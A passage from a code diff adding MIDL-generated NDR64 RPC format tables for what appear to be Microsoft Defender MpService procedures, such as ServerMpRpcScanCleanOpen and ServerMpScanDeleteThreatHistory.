ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag391_t __midl_frag391 = +{ +/* Proc32_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc32_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc32_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag383_t __midl_frag383 = +{ +/* Proc31_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc31_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc31_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag376_t __midl_frag376 = +{ +/* Proc30_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc30_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc30_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag357_t __midl_frag357 = +{ +/* Proc27_ServerMpRpcPrecheckNotification */ + { + /* Proc27_ServerMpRpcPrecheckNotification */ /* procedure Proc27_ServerMpRpcPrecheckNotification */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag938, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag350_t __midl_frag350 = +{ +/* Proc26_ServerMpRpcPrecheckStart */ + { + /* Proc26_ServerMpRpcPrecheckStart */ /* procedure Proc26_ServerMpRpcPrecheckStart */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 44 /* 0x2c */, + (NDR64_UINT32) 112 /* 0x70 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag36, + { + /* arg_2 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag337_t __midl_frag337 = +{ +/* Proc24_ServerMpRpcCleanControl */ + { + /* Proc24_ServerMpRpcCleanControl */ /* procedure Proc24_ServerMpRpcCleanControl */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 44 /* 0x2c */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag324_t __midl_frag324 = +{ +/* *Struct_1434_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag308 +}; + +static const __midl_frag322_t __midl_frag322 = +{ +/* Proc22_ServerMpRpcScanCleanOpen */ + { + /* Proc22_ServerMpRpcScanCleanOpen */ /* procedure Proc22_ServerMpRpcScanCleanOpen */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag1140, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag324, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1142, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag315_t __midl_frag315 = +{ +/* */ + { + /* *hyper */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag309 + }, + { + /* *long */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag312 + } +}; + +static const __midl_frag313_t __midl_frag313 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag312_t __midl_frag312 = +{ +/* *long */ + { + /* *long */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* *long */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 4 /* 0x4 */, + &__midl_frag313 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 4 /* 0x4 */, + &__midl_frag2368 + } +}; + +static const __midl_frag309_t __midl_frag309 = +{ +/* *hyper */ + { + /* *hyper */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* *hyper */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag313 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2164 + } +}; + +static const __midl_frag308_t __midl_frag308 = +{ +/* Struct_1434_t */ + { + /* Struct_1434_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1434_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + &__midl_frag315, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag305_t __midl_frag305 = +{ +/* Proc21_ServerMpRpcCleanOpen */ + { + /* Proc21_ServerMpRpcCleanOpen */ /* procedure Proc21_ServerMpRpcCleanOpen */ + (NDR64_UINT32) 2883651 /* 0x2c0043 */, /* auto handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag324, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag1288, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag300_t __midl_frag300 = +{ +/* Proc20_ServerMpScanDeleteThreatHistory */ + { + /* Proc20_ServerMpScanDeleteThreatHistory */ /* procedure Proc20_ServerMpScanDeleteThreatHistory */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + 